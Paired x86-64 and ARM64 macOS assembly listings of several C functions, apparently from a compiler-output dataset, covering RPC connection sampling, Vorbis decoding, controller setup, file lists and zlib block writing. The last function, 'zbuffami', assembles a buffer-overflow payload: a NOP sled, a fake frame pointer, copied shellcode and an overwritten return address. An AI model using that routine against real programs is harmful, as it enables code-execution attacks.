.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _rpc_target_choose_random_connections ## -- Begin function rpc_target_choose_random_connections .p2align 4, 0x90 _rpc_target_choose_random_connections: ## @rpc_target_choose_random_connections .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, -64(%rbp) ## 8-byte Spill testq %rdi, %rdi je LBB0_1 ## %bb.3: movq %rsi, %r15 movq %rdi, %r12 movl %edx, -44(%rbp) ## 4-byte Spill movq 8(%rdi), %rax xorl %r13d, %r13d testq %rax, %rax movq %rsi, -56(%rbp) ## 8-byte Spill je LBB0_4 ## %bb.5: movq (%rax), %rbx movl $0, %r14d cmpq %rax, %rbx je LBB0_16 ## %bb.6: xorl %r14d, %r14d xorl %r13d, %r13d jmp LBB0_7 LBB0_11: ## in Loop: Header=BB0_7 Depth=1 movl %r13d, %edx leal -1(%r13), %eax movl %eax, %r13d LBB0_13: ## in Loop: Header=BB0_7 Depth=1 movslq %edx, %rax movq -64(%rbp), %rcx ## 8-byte Reload movq %rbx, (%rcx,%rax,8) LBB0_14: ## in Loop: Header=BB0_7 Depth=1 incl %r14d movq -56(%rbp), %r15 ## 8-byte Reload LBB0_15: ## in Loop: Header=BB0_7 Depth=1 movq (%rbx), %rbx cmpq 8(%r12), %rbx je LBB0_16 LBB0_7: ## =>This Inner Loop Header: Depth=1 movq %rbx, %rdi callq _server_check_ready movq _cr_ok@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_15 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 testq %r15, %r15 je LBB0_10 ## %bb.9: ## in Loop: Header=BB0_7 Depth=1 movq %rbx, %rdi callq _RPCS_DATA movq %rax, %rdi movq %r15, %rsi callq _matches_pid testl %eax, %eax jle LBB0_15 LBB0_10: ## in Loop: Header=BB0_7 Depth=1 movl -44(%rbp), %r15d ## 4-byte Reload cmpl %r15d, %r13d jl LBB0_11 ## %bb.12: ## in Loop: Header=BB0_7 Depth=1 xorl %eax, %eax callq _lrand48 leal -1(%r14), %ecx cltd idivl %ecx cmpl %r15d, %edx jl LBB0_13 jmp LBB0_14 LBB0_1: xorl %r13d, %r13d LBB0_2: movl %r13d, %eax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_4: xorl %r14d, %r14d LBB0_16: movq (%r12), %rbx jmp LBB0_17 LBB0_22: ## in Loop: Header=BB0_17 Depth=1 movslq %r13d, %rax incl %r13d movq -64(%rbp), %rcx ## 8-byte Reload movq %rbx, (%rcx,%rax,8) incl %r14d LBB0_25: ## in Loop: Header=BB0_17 Depth=1 movq -56(%rbp), %r15 ## 8-byte Reload LBB0_26: ## in Loop: Header=BB0_17 Depth=1 movq (%rbx), %rbx LBB0_17: ## =>This Inner Loop Header: Depth=1 cmpq %r12, %rbx je LBB0_2 ## %bb.18: ## in Loop: Header=BB0_17 Depth=1 movq %rbx, %rdi callq _server_check_ready movq _cr_ok@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_26 ## %bb.19: ## in Loop: Header=BB0_17 Depth=1 testq %r15, %r15 je LBB0_21 ## %bb.20: ## in Loop: Header=BB0_17 Depth=1 movq %rbx, %rdi callq _RPCS_DATA movq %rax, %rdi movq %r15, %rsi callq _matches_pid testl %eax, %eax jle LBB0_26 LBB0_21: ## in Loop: Header=BB0_17 Depth=1 movl -44(%rbp), %r15d ## 4-byte Reload cmpl %r15d, %r13d jl LBB0_22 ## %bb.23: ## in Loop: Header=BB0_17 Depth=1 xorl %eax, %eax callq _lrand48 incl %r14d cltd idivl %r14d cmpl %r15d, %edx jge LBB0_25 ## %bb.24: ## in Loop: Header=BB0_17 Depth=1 movslq %edx, %rax movq -64(%rbp), %rcx ## 8-byte Reload movq %rbx, (%rcx,%rax,8) jmp LBB0_25 .cfi_endproc ## -- End function .comm _cr_ok,4,2 ## @cr_ok .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _rpc_target_choose_random_connections ; -- Begin function rpc_target_choose_random_connections .p2align 2 _rpc_target_choose_random_connections: ; @rpc_target_choose_random_connections .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 cbz x0, LBB0_23 ; %bb.1: mov x19, x3 mov x20, x2 mov x21, x1 mov x22, x0 ldr x8, [x0, #8] Lloh0: adrp x25, _cr_ok@GOTPAGE Lloh1: ldr x25, [x25, _cr_ok@GOTPAGEOFF] cbz x8, LBB0_13 ; %bb.2: ldr x24, [x8] cmp x24, x8 b.eq LBB0_13 ; %bb.3: mov w26, #0 ; =0x0 mov w23, #0 ; =0x0 b LBB0_8 LBB0_4: ; in Loop: Header=BB0_8 Depth=1 mov x8, x23 sub w23, w23, #1 LBB0_5: ; in Loop: Header=BB0_8 Depth=1 str x24, [x19, w8, sxtw #3] LBB0_6: ; in Loop: Header=BB0_8 Depth=1 add w26, w26, #1 LBB0_7: ; in Loop: Header=BB0_8 Depth=1 ldr x24, [x24] ldr x8, [x22, #8] cmp x24, x8 b.eq LBB0_14 LBB0_8: ; =>This Inner Loop Header: Depth=1 mov x0, x24 bl _server_check_ready ldr w8, [x25] cmp w0, w8 b.ne LBB0_7 ; %bb.9: ; in Loop: Header=BB0_8 Depth=1 cbz x21, LBB0_11 ; %bb.10: ; in Loop: Header=BB0_8 Depth=1 mov x0, x24 bl _RPCS_DATA mov x1, x21 bl _matches_pid cmp w0, #1 b.lt LBB0_7 LBB0_11: ; in Loop: Header=BB0_8 Depth=1 cmp w23, w20 b.lt LBB0_4 ; %bb.12: ; in Loop: Header=BB0_8 Depth=1 bl _lrand48 sub w8, w26, #1 sdiv w9, w0, w8 msub w8, w9, w8, w0 cmp w8, w20 b.lt LBB0_5 b LBB0_6 LBB0_13: mov w23, #0 ; =0x0 mov w26, #0 ; =0x0 LBB0_14: ldr x24, [x22] cmp x24, x22 b.ne LBB0_16 b LBB0_24 LBB0_15: ; in Loop: Header=BB0_16 Depth=1 ldr x24, [x24] cmp x24, x22 b.eq LBB0_24 LBB0_16: ; =>This Inner Loop Header: Depth=1 mov x0, x24 bl _server_check_ready ldr w8, [x25] cmp w0, w8 b.ne LBB0_15 ; %bb.17: ; in Loop: Header=BB0_16 Depth=1 cbz x21, LBB0_19 ; %bb.18: ; in Loop: Header=BB0_16 Depth=1 mov x0, x24 bl _RPCS_DATA mov x1, x21 bl _matches_pid cmp w0, #1 b.lt LBB0_15 LBB0_19: ; in Loop: Header=BB0_16 Depth=1 cmp w23, w20 b.ge LBB0_21 ; %bb.20: ; in Loop: Header=BB0_16 Depth=1 str x24, [x19, w23, sxtw #3] add w23, w23, #1 add w26, w26, #1 ldr x24, [x24] cmp x24, x22 b.ne LBB0_16 b LBB0_24 LBB0_21: ; in Loop: Header=BB0_16 Depth=1 bl _lrand48 add w26, w26, #1 sdiv w8, w0, w26 msub w8, w8, w26, w0 cmp w8, w20 b.ge LBB0_15 ; %bb.22: ; in Loop: Header=BB0_16 Depth=1 str x24, [x19, w8, sxtw #3] b LBB0_15 LBB0_23: mov w23, #0 ; =0x0 LBB0_24: mov x0, x23 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _cr_ok,4,2 ; @cr_ok .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _res0_inverse ## -- Begin function res0_inverse .p2align 4, 0x90 _res0_inverse: ## @res0_inverse .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp testl %r8d, %r8d jle LBB0_5 ## %bb.1: xorl %eax, %eax xorl %esi, %esi jmp LBB0_2 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_2 Depth=1 addq $-4, %rax LBB0_2: ## =>This Inner Loop Header: Depth=1 cmpl $0, (%rcx,%rax) je LBB0_4 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movq (%rdx,%rax,2), %rdi movslq %esi, %r8 incl %esi movq %rdi, (%rdx,%r8,8) jmp LBB0_4 LBB0_5: xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .comm _vorbis_book_decodevs_add,4,2 ## @vorbis_book_decodevs_add .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _res0_inverse ; -- Begin function res0_inverse .p2align 2 _res0_inverse: ; @res0_inverse .cfi_startproc ; %bb.0: cmp w4, #1 b.lt LBB0_5 ; %bb.1: mov w8, #0 ; =0x0 mov x9, x2 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 sub x9, x9, #8 LBB0_3: ; =>This Inner Loop Header: Depth=1 ldr w10, [x3], #-4 cbz w10, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 ldr x10, [x9] str x10, [x2, w8, sxtw #3] add w8, w8, #1 b LBB0_2 LBB0_5: mov w0, #0 ; =0x0 ret .cfi_endproc ; -- End function .comm _vorbis_book_decodevs_add,4,2 ; @vorbis_book_decodevs_add .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _teamplayer_init ## -- Begin function teamplayer_init .p2align 4, 0x90 _teamplayer_init: ## @teamplayer_init .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq _input@GOTPCREL(%rip), %rax movq (%rax), %rax movq _DEVICE_PAD3B@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movq _teamplayer@GOTPCREL(%rip), %rdx movq (%rdx), %rsi movslq %edi, %r8 shll $2, %edi movslq %edi, %rdx movq (%rsi,%r8,8), %rsi movl %r8d, %edi shll $6, %edi cmpq %rcx, (%rax,%rdx,8) movl %edi, (%rsi) jne LBB0_2 ## %bb.1: xorl %edi, %edi movl $2, %r8d movl $4, %r9d jmp LBB0_3 LBB0_2: movl %edi, %r8d orl $4, %r8d movl %r8d, 4(%rsi) orl $8, %edi movl $3, %r8d movl $8, %r9d LBB0_3: movl %edi, (%rsi,%r9) leaq -1(%rdx), %rdi shll $4, %edi movl %r8d, %r8d cmpq %rcx, -8(%rax,%rdx,8) movl %edi, (%rsi,%r8,4) jne LBB0_4 ## %bb.5: leal 2(%r8), %r9d movl $0, 4(%rsi,%r8,4) jmp LBB0_6 LBB0_4: movl %edi, %r9d orl $4, %r9d movl %r9d, 4(%rsi,%r8,4) orl $8, %edi leal 3(%r8), %r9d movl %edi, 8(%rsi,%r8,4) LBB0_6: leaq -2(%rdx), %rdi shll $4, %edi movl %r9d, %r8d cmpq %rcx, -16(%rax,%rdx,8) movl %edi, (%rsi,%r8,4) jne LBB0_7 ## %bb.8: leal 2(%r8), %r9d movl $0, 4(%rsi,%r8,4) jmp LBB0_9 LBB0_7: movl %edi, %r9d orl $4, %r9d movl %r9d, 4(%rsi,%r8,4) orl $8, %edi leal 3(%r8), %r9d movl %edi, 8(%rsi,%r8,4) LBB0_9: leaq -3(%rdx), %rdi shll $4, %edi movl %r9d, %r9d leaq (%rsi,%r9,4), %r8 cmpq %rcx, -24(%rax,%rdx,8) movl %edi, (%rsi,%r9,4) jne LBB0_11 ## %bb.10: xorl %edi, %edi movl $4, %eax jmp LBB0_12 LBB0_11: movl %edi, %eax orl $4, %eax movl %eax, 4(%r8) orl $8, %edi movl $8, %eax LBB0_12: movl %edi, (%r8,%rax) popq %rbp retq .cfi_endproc ## -- End function .comm _input,8,3 ## @input .comm _DEVICE_PAD3B,8,3 ## @DEVICE_PAD3B .comm _teamplayer,8,3 ## @teamplayer .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal8,8byte_literals .p2align 3, 0x0 ; -- Begin function teamplayer_init lCPI0_0: .long 4 ; 0x4 .long 8 ; 0x8 .section __TEXT,__text,regular,pure_instructions .globl _teamplayer_init .p2align 2 _teamplayer_init: ; @teamplayer_init .cfi_startproc ; %bb.0: ; kill: def $w0 killed $w0 def $x0 sbfiz x9, x0, #2, #32 Lloh0: adrp x8, _input@GOTPAGE Lloh1: ldr x8, [x8, _input@GOTPAGEOFF] Lloh2: ldr x10, [x8] Lloh3: adrp x8, _DEVICE_PAD3B@GOTPAGE Lloh4: ldr x8, [x8, _DEVICE_PAD3B@GOTPAGEOFF] Lloh5: ldr x8, [x8] Lloh6: adrp x11, _teamplayer@GOTPAGE Lloh7: ldr x11, [x11, _teamplayer@GOTPAGEOFF] sbfiz x12, x0, #5, #32 ldr x13, [x10, x12] Lloh8: ldr x11, [x11] lsl w12, w0, #6 ldr x11, [x11, w0, sxtw #3] str w12, [x11] cmp x13, x8 b.ne LBB0_2 ; %bb.1: mov w13, #0 ; =0x0 mov w12, #2 ; =0x2 mov w14, #4 ; =0x4 b LBB0_3 LBB0_2: orr w13, w12, #0x4 str w13, [x11, #4] orr w13, w12, #0x8 mov w12, #3 ; =0x3 mov w14, #8 ; =0x8 LBB0_3: str w13, [x11, x14] sub x13, x9, #1 ldr x16, [x10, x13, lsl #3] lsl w15, w13, #4 add x14, x11, w12, uxtw #2 str w15, [x14] adrp x13, lCPI0_0@PAGE cmp x16, x8 b.ne LBB0_5 ; %bb.4: add w12, w12, #2 str wzr, [x14, #4] b LBB0_6 LBB0_5: dup.2s v0, w15 ldr d1, [x13, lCPI0_0@PAGEOFF] orr.8b v0, v0, v1 add w12, w12, #3 stur d0, [x14, #4] LBB0_6: sub x14, x9, #2 ldr x16, [x10, x14, lsl #3] lsl w15, w14, #4 add x14, x11, w12, uxtw #2 str w15, [x14] cmp x16, x8 b.ne LBB0_8 ; %bb.7: add w12, w12, #2 str wzr, [x14, #4] b LBB0_9 LBB0_8: dup.2s v0, w15 ldr d1, [x13, lCPI0_0@PAGEOFF] orr.8b v0, v0, v1 add w12, w12, #3 stur d0, [x14, #4] LBB0_9: sub x9, x9, #3 ldr x13, [x10, x9, lsl #3] lsl w10, w9, #4 add x9, x11, w12, uxtw #2 str w10, [x9] cmp x13, x8 b.ne LBB0_11 ; %bb.10: mov w10, #4 ; =0x4 str wzr, [x9, x10] ret LBB0_11: orr w8, w10, #0x4 str w8, [x9, #4] orr w8, w10, #0x8 mov w10, #8 ; =0x8 str w8, [x9, x10] ret .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _input,8,3 ; @input .comm _DEVICE_PAD3B,8,3 ; @DEVICE_PAD3B .comm _teamplayer,8,3 ; @teamplayer .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function add_new_file _add_new_file: ## @add_new_file .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _strdup movq _symfilelist@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movq _symfilecnt@GOTPCREL(%rip), %rdx movslq (%rdx), %rsi leal -1(%rsi), %edi movl %edi, (%rdx) movl %eax, (%rcx,%rsi,4) movslq (%rdx), %rax leaq (%rcx,%rax,4), %rax addq $4, %rax popq %rbp retq .cfi_endproc ## -- End function .comm _symfilelist,8,3 ## @symfilelist .comm _symfilecnt,4,2 ## @symfilecnt .no_dead_strip _add_new_file .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function add_new_file _add_new_file: ; @add_new_file .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _strdup Lloh0: adrp x8, _symfilelist@GOTPAGE Lloh1: ldr x8, [x8, _symfilelist@GOTPAGEOFF] Lloh2: ldr x8, [x8] Lloh3: adrp x9, _symfilecnt@GOTPAGE Lloh4: ldr x9, [x9, _symfilecnt@GOTPAGEOFF] ldrsw x10, [x9] sub w11, w10, #1 str w11, [x9] str w0, [x8, x10, lsl #2] ldrsw x9, [x9] add x8, x8, x9, lsl #2 add x0, x8, #4 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _symfilelist,8,3 ; @symfilelist .comm _symfilecnt,4,2 ; @symfilecnt .no_dead_strip _add_new_file .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function write_block _write_block: ## @write_block .cfi_startproc ## %bb.0: movl (%rdi), %eax movl 4(%rdi), %r9d movq _HAS_DIFF_BLOCKS@GOTPCREL(%rip), %r8 leal 2(%rax), %r10d movl (%r8), %ecx orl %r9d, %ecx cmovel %eax, %r10d movq _ZLIB_PRIME_COMPRESS_CURRENT@GOTPCREL(%rip), %rcx leal 2(%r10), %eax testl %r9d, (%rcx) cmovel %r10d, %eax leal 1(%rax), %r9d testl %eax, %eax cmovel %eax, %r9d leal 2(%r9), %r10d movl $-1, %eax cmpl %edx, %r10d ja LBB0_9 ## %bb.1: movl %r9d, %eax shrl $8, %eax movl %eax, (%rsi) movl %r9d, -4(%rsi) testl %r9d, %r9d je LBB0_2 ## %bb.3: movl 4(%rdi), %eax movl %eax, (%rsi) testl %eax, (%r8) je LBB0_4 ## %bb.5: movl 8(%rdi), %eax movl %eax, 4(%rsi) movl 12(%rdi), %eax movl %eax, 8(%rsi) movl 4(%rdi), %eax movl $3, %r8d testl %eax, (%rcx) je LBB0_8 LBB0_7: movl 16(%rdi), %eax movl %r8d, %ecx movl %eax, (%rsi,%rcx,4) movl 20(%rdi), %eax addl $2, %r8d movl %eax, 4(%rsi,%rcx,4) LBB0_8: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %r8d, %eax leaq (%rsi,%rax,4), %rax movl (%rdi), %edx movl 24(%rdi), %esi movq %rdi, %r14 movq %rax, %rdi movl %r8d, %ebx callq _memcpy movl %ebx, %eax addl (%r14), %eax popq %rbx popq %r14 popq %rbp LBB0_9: retq LBB0_2: xorl %eax, %eax retq LBB0_4: movl $1, %r8d testl %eax, (%rcx) jne LBB0_7 jmp LBB0_8 .cfi_endproc ## -- End function .comm _HAS_DIFF_BLOCKS,4,2 ## @HAS_DIFF_BLOCKS .comm _ZLIB_PRIME_COMPRESS_CURRENT,4,2 ## @ZLIB_PRIME_COMPRESS_CURRENT .no_dead_strip _write_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function write_block _write_block: ; @write_block .cfi_startproc ; %bb.0: ldp w8, w10, [x0] Lloh0: adrp x9, _HAS_DIFF_BLOCKS@GOTPAGE Lloh1: ldr x9, [x9, _HAS_DIFF_BLOCKS@GOTPAGEOFF] ldr w11, [x9] orr w11, w11, w10 add w12, w8, #2 cmp w11, #0 csel w11, w8, w12, eq Lloh2: adrp x8, _ZLIB_PRIME_COMPRESS_CURRENT@GOTPAGE Lloh3: ldr x8, [x8, _ZLIB_PRIME_COMPRESS_CURRENT@GOTPAGEOFF] ldr w12, [x8] add w13, w11, #2 tst w12, w10 csel w10, w11, w13, eq cmp w10, #0 csinc w10, wzr, w10, eq add w11, w10, #2 cmp w11, w2 b.ls LBB0_2 ; %bb.1: mov w0, #-1 ; =0xffffffff ret LBB0_2: lsr w11, w10, #8 stp w10, w11, [x1, #-4] cbz w10, LBB0_5 ; %bb.3: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldr w10, [x0, #4] str w10, [x1] ldr w9, [x9] tst w9, w10 b.eq LBB0_6 ; %bb.4: ldr w9, [x0, #8] str w9, [x1, #4] ldr w9, [x0, #12] str w9, [x1, #8] ldr w10, [x0, #4] mov w19, #3 ; =0x3 b LBB0_7 LBB0_5: mov w0, #0 ; =0x0 ret LBB0_6: mov w19, #1 ; =0x1 LBB0_7: ldr w8, [x8] tst w8, w10 b.eq LBB0_9 ; %bb.8: ldr w8, [x0, #16] add x9, x1, w19, uxtw #2 str w8, [x9] ldr w8, [x0, #20] add w19, w19, #2 str w8, [x9, #4] LBB0_9: add x8, x1, w19, uxtw #2 ldr w1, [x0, #24] ldr w2, [x0] mov x20, x0 mov x0, x8 bl _memcpy ldr w8, [x20] add w0, w8, w19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _HAS_DIFF_BLOCKS,4,2 ; @HAS_DIFF_BLOCKS .comm _ZLIB_PRIME_COMPRESS_CURRENT,4,2 ; @ZLIB_PRIME_COMPRESS_CURRENT .no_dead_strip _write_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _zbuffami ## -- Begin function zbuffami .p2align 4, 0x90 _zbuffami: ## @zbuffami .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %rbx movl %esi, %eax movl %edi, %r13d movq _EIP_POS@GOTPCREL(%rip), %r14 cmpl $0, (%r14) jle LBB0_3 ## %bb.1: movl $1, %ecx .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movb $-112, -1(%rbx,%rcx) movslq (%r14), %rdx decq %rcx cmpq %rdx, %rcx jle LBB0_2 LBB0_3: movb $-1, (%rbx) movq _FAKE_FP@GOTPCREL(%rip), %rcx movzbl 1(%rcx), %edx movb %dl, 1(%rbx) movzbl 2(%rcx), %edx movb %dl, 2(%rbx) movzbl 3(%rcx), %ecx movb %cl, 3(%rbx) movb %al, 4(%rbx) movb %ah, 5(%rbx) movl %eax, %ecx shrl $16, %ecx movb %cl, 6(%rbx) shrl $24, %eax movb %al, 7(%rbx) movl (%r14), %r15d movq _shellcode@GOTPCREL(%rip), %r12 movq (%r12), %rdi callq _strlen subl %eax, %r15d addl $-4, %r15d movl (%r14), %eax addl $-12, %eax cmpl %eax, %r15d jge LBB0_7 ## %bb.4: movslq %r15d, %rax leaq (%rbx,%rax), %rcx xorl %edx, %edx .p2align 4, 0x90 LBB0_5: ## =>This Inner Loop Header: Depth=1 movq (%r12), %rsi movzbl (%rsi,%rdx), %esi movb %sil, (%rcx,%rdx) leaq (%rax,%rdx), %rsi incq %rsi incq %rdx movslq (%r14), %rdi addq $-12, %rdi cmpq %rdi, %rsi jl LBB0_5 ## %bb.6: addl %edx, %r15d LBB0_7: movslq %r15d, %rax movabsq $7595718147998050665, %rcx ## imm = 0x6969696969696969 movq %rcx, (%rbx,%rax) movslq (%r14), %rax movl %r13d, %edx movb %dl, -4(%rbx,%rax) movslq (%r14), %rax movb %dh, -3(%rbx,%rax) movl %r13d, %eax shrl $16, %eax movslq (%r14), %rcx movb %al, -2(%rbx,%rcx) shrl $24, %edx movslq (%r14), %rax movb %dl, -1(%rbx,%rax) movslq (%r14), %rax movb $0, (%rbx,%rax) leaq L_.str(%rip), %r14 movq %rbx, %rdi movq %r14, %rsi callq _strcat movq %rbx, %rdi movq %r14, %rsi callq _strcat movq %rbx, %rdi movq %r14, %rsi callq _strcat movq %rbx, %rdi movq %r14, %rsi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _strcat ## TAILCALL .cfi_endproc ## -- End function .comm _EIP_POS,4,2 ## @EIP_POS .comm _FAKE_FP,4,2 ## @FAKE_FP .comm _shellcode,8,3 ## @shellcode .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "iiii" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _zbuffami ; -- Begin function zbuffami .p2align 2 _zbuffami: ; @zbuffami .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x2 mov x20, x0 Lloh0: adrp x21, _EIP_POS@GOTPAGE Lloh1: ldr x21, [x21, _EIP_POS@GOTPAGEOFF] ldr w8, [x21] cmp w8, #1 b.lt LBB0_3 ; %bb.1: mov x8, #0 ; =0x0 mov w9, #144 ; =0x90 LBB0_2: ; =>This Inner Loop Header: Depth=1 strb w9, [x19, x8] sub x10, x8, #1 ldrsw x11, [x21] cmp x8, x11 mov x8, x10 b.le LBB0_2 LBB0_3: mov w8, #255 ; =0xff strb w8, [x19] Lloh2: adrp x8, _FAKE_FP@GOTPAGE Lloh3: ldr x8, [x8, _FAKE_FP@GOTPAGEOFF] ldr w9, [x8] lsr w9, w9, #8 strb w9, [x19, #1] ldrh w9, [x8, #2] strb w9, [x19, #2] ldrb w8, [x8, #3] strb w8, [x19, #3] strb w1, [x19, #4] lsr w8, w1, #8 strb w8, [x19, #5] lsr w8, w1, #16 strb w8, [x19, #6] lsr w8, w1, #24 strb w8, [x19, #7] ldr w23, [x21] Lloh4: adrp x22, _shellcode@GOTPAGE Lloh5: ldr x22, [x22, _shellcode@GOTPAGEOFF] ldr x0, [x22] bl _strlen sub w8, w23, w0 sub w8, w8, #4 ldr w9, [x21] sub w9, w9, #12 cmp w8, w9 b.ge LBB0_7 ; %bb.4: mov x9, #0 ; =0x0 sxtw x8, w8 LBB0_5: ; =>This Inner Loop Header: Depth=1 ldr x10, [x22] ldrb w10, [x10, x9] strb w10, [x19, x8] add x9, x9, #1 add x8, x8, #1 ldrsw x10, [x21] sub x10, x10, #12 cmp x8, x10 b.lt LBB0_5 ; %bb.6: ; kill: def $w8 killed $w8 killed $x8 def $x8 LBB0_7: mov x9, #1229782938247303441 ; =0x1111111111111111 eor x9, x9, #0x7878787878787878 str x9, [x19, w8, sxtw] ldrsw x8, [x21] add x8, x19, x8 sturb w20, [x8, #-4] lsr w8, w20, #8 ldrsw x9, [x21] add x9, x19, x9 sturb w8, [x9, #-3] lsr w8, w20, #16 ldrsw x9, [x21] add x9, x19, x9 sturb w8, [x9, #-2] lsr w8, w20, #24 ldrsw x9, [x21] add x9, x19, x9 sturb w8, [x9, #-1] ldrsw x8, [x21] strb wzr, [x19, x8] Lloh6: adrp x20, l_.str@PAGE Lloh7: add x20, x20, l_.str@PAGEOFF mov x0, x19 mov x1, x20 bl _strcat mov x0, x19 mov x1, x20 bl _strcat mov x0, x19 mov x1, x20 bl _strcat mov x0, x19 mov x1, x20 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _strcat .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh4, Lloh5 .loh AdrpLdrGot Lloh2, Lloh3 .loh AdrpAdd Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _EIP_POS,4,2 ; @EIP_POS .comm _FAKE_FP,4,2 ; @FAKE_FP .comm _shellcode,8,3 ; @shellcode .section __TEXT,__cstring,cstring_literals 